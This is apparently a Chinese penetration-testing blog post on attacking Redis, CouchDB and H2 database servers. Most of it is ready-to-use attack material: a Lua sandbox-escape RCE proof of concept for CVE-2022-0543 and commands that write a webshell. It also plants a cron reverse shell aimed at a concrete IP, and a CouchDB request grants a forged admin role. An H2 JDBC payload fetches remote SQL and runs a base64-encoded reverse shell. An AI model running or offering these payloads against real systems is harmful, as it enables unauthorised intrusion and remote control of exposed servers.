数据库安全-redisCouchdb

news/2024/12/25 20:51:29/

1.redis未授权访问

默认端口:6379

1.1 Redis沙盒逃逸漏洞RCE-CVE-2022-0543

介绍:Redis 是一套开源的使用 ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis 如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

影响版本:仅为运行在 Debian、Ubuntu 或其他基于 Debian 的 Linux 发行版系统上的 以下Redis 服务。

 2.2 <= redis < 5.0.13

 2.2 <= redis < 6.0.15

 2.2 <= redis < 6.2.5

Poc:执行id 和pwd命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

1.2 redis 未授权访问(CNVD-2019-21763)

介绍:Redis是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的AP!。由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.s0 文件,从而实现远程代码执行。

https://github.com/vulhub/redis-rogue-getshell
python redis-master.py-r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

1.3 未授权访问CNVD-2015-07557

写 webshell 需得到 web 路径

利用条件:web 目录权限可读写

config set dir /tmp     #设置WEB 写入目录

config set dbfilename 1.php     #设置写入文件名

set test "<?php phpinfo();?>"     #设置文件代码

bgsave     #保存执行
save    #保存执行

注意:部分没目录权限读写权限


写定时任务反弹 shell

config set dir /var/spool/cron

set yy "\n\n\n***** bash -i >& /dev/tcp/47.94.236.117/55550>&1\n\n\n"

config set dbfilename x

save

利用条件:安全模式protected-mode处于关闭状态

注意:centos会忽略乱码去执行格式正确的任务计划而 ubuntu并不会忽略这些乱码,所以导致命令执行失败

1.4 redis使用工具

https://github.com/n0b0dyCN/redis-rogue-server

python redis-rogue-server.py--rhost 目标IP --rport 目标端囗--lhost IP

2.数据库Couchdb

默认端口:5984

2.1 数据库Couchdb命令执行

(1)下载 exp.py

https://qithub.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
(2)修改目标和反弹地址


(3)Python执行脚本,攻击机开启监听

2.2 Couchdb 垂直权限绕过(CVE-2017-12635)

介绍:Couchclo垂直权限绕过(CVE-2017-12635Apache CouchDB 是一个开源数据库,专注于易用性和成为"完全拥抱 web 的数据库"它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP作为 API的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

(1)创建用户

PUT /_users/org.couchdb.user:用户名 HTTP/1.1
Host: 攻击IP:44389
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
  "type": "user",
  "name": "用户名 ",
  "roles": ["_admin"],
  "roles": [],
  "password": "密码"
}

(2)登录验证

Get:/_utils/
用户名 密码登录成功

3 数据库应用-H2database--未授权访问&CVE漏洞

洞默认端口:20051
JavaSQ数据库H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

3.1 未授权进入

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
 

rce执行反弹

H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

H2 database的管理页面,访问http://主机:端口/h2-console

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

vim fuckh2db.sql  攻击机创建一个文件fuckh2db.sql

这个sql文件内容需要自己修改

反弹shell命令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1 (这个IP写你shell要反弹到哪台主机上的那个主机的IP)

CREATE TABLE test (

     id INT NOT NULL );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,把反弹shell的命令base64编码过后放在这里}|{base64,-d}|{bash,-i}");';

在攻击机上监听端口 nc -lvvp xxxx (这个端口要看你刚才反弹shell时对应的端口)

填入Payload使其加载远程SQL

下面这条命令的后面需要修改一下你自己攻击机的IP和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://192.168.91.129:89/h2database.sql';\

然后把命令写入到 JDBC URL中点击连接即可

返回监听的主机上 看到拿到了反弹过来的shell,命令执行成功

3.2H2database jndi注入

利用这个管理页面,我们可以进行 JNDI 注入攻击,进而在目标环境下执行任意命令。

工具地址:JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 攻击者IP

//反弹shell命令就行base64编码
/bin/sh -i >& /dev/tcp/192.168.100.1/6666 0>&1

编码后:  bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

攻击端监听  nc -lvvp 6666

将生成出来的所提供的服务,输入到界面当中,进行连接

成功反弹shell


http://www.ppmy.cn/news/1558080.html

相关文章

电脑出现 0x0000007f 蓝屏问题怎么办,参考以下方法尝试解决

电脑蓝屏是让许多用户头疼的问题&#xff0c;其中出现 “0x0000007f” 错误代码更是较为常见且棘手。了解其背后成因并掌握修复方法&#xff0c;能帮我们快速恢复电脑正常运行。 一、可能的硬件原因 内存问题 内存条长时间使用可能出现物理损坏&#xff0c;如金手指氧化、芯片…

Ansible 批量管理华为 CE 交换机

注&#xff1a;本文为 “Ansible 管理华为 CE 交换机” 相关文章合辑。 使用 CloudEngine - Ansible 批量管理华为 CE 交换机 wsf535 IP 属地&#xff1a;贵州 2018.02.05 15:26:05 总体介绍 Ansible 是一个开源的自动化运维工具&#xff0c;AnsibleWorks 成立于 2012 年&a…

【国产NI替代】基于STM32+FPGA的8振动+4温度(24bits)高精度终端采集板卡解决方案,支持全国产

8振动4温度&#xff08;24bits&#xff09;高精度终端采集板卡 主控采用EP4CE10F17I7 STM32H743的硬件 组合&#xff0c;是对8振动4温度&#xff08;16bits&#xff09;的一次升 级&#xff0c;也是针对工业现场环境设计的12通道数 据采集装置&#xff0c;主要针对那些对采…

国标GB28181摄像机接入EasyGBS如何通过流媒体技术提升安防监控效率?

随着信息技术的飞速发展&#xff0c;视频监控技术已成为维护公共安全和提升管理效率的重要手段。国标GB28181作为安防行业的统一设备接入与流媒体传输标准&#xff0c;为视频监控系统的互联互通提供了坚实的基础。EasyGBS作为一款基于GB28181协议的视频云服务平台&#xff0c;通…

探秘 DNS 服务器:揭开域名解析的神秘面纱

嘿&#xff0c;小伙伴们&#xff01;在我们畅游互联网的奇妙世界时&#xff0c;有没有想过&#xff0c;当我们在浏览器中输入那些熟悉的网址&#xff0c;比如b站&#xff0c;是如何瞬间就能访问到对应的网站呢&#xff1f;这背后的魔法就来自于一个超级重要的网络基础设施 ——…

聚类算法DBSCAN 改进总结

目录 1. HDBSCAN (Hierarchical DBSCAN) 2. OPTICS (Ordering Points To Identify the Clustering Structure) 3. DBSCAN++ (DBSCAN with Preprocessing) 4. DBSCAN with k-distance 5. Density Peaks Clustering (DPC) 6. Generalized DBSCAN (GDBSCAN) 总结 是的,DBS…

MyBatis的面试题以及详细解答二

11. MyBatis 能执行一对一、一对多的关联查询吗&#xff1f;都有哪些实现方式&#xff0c;以及它们之间的区别。 是的&#xff0c;MyBatis 支持执行一对一和一对多的关联查询。 关联查询的方式&#xff1a; association 标签用于处理一对一的关系。collection 标签用于处理一对…

Websocket客户端从Openai Realtime api Sever只收到部分数据问题分析

目录 背景 分析 解决方案 背景 正常情况下&#xff0c;会从Openai Realtime api Sever收到正常的json数据,但是当返回音频数据时&#xff0c;总会返回非json数据。这是什么问题呢&#xff1f; 分析 期望的完整响应数据如下&#xff1a; {"session": {"inp…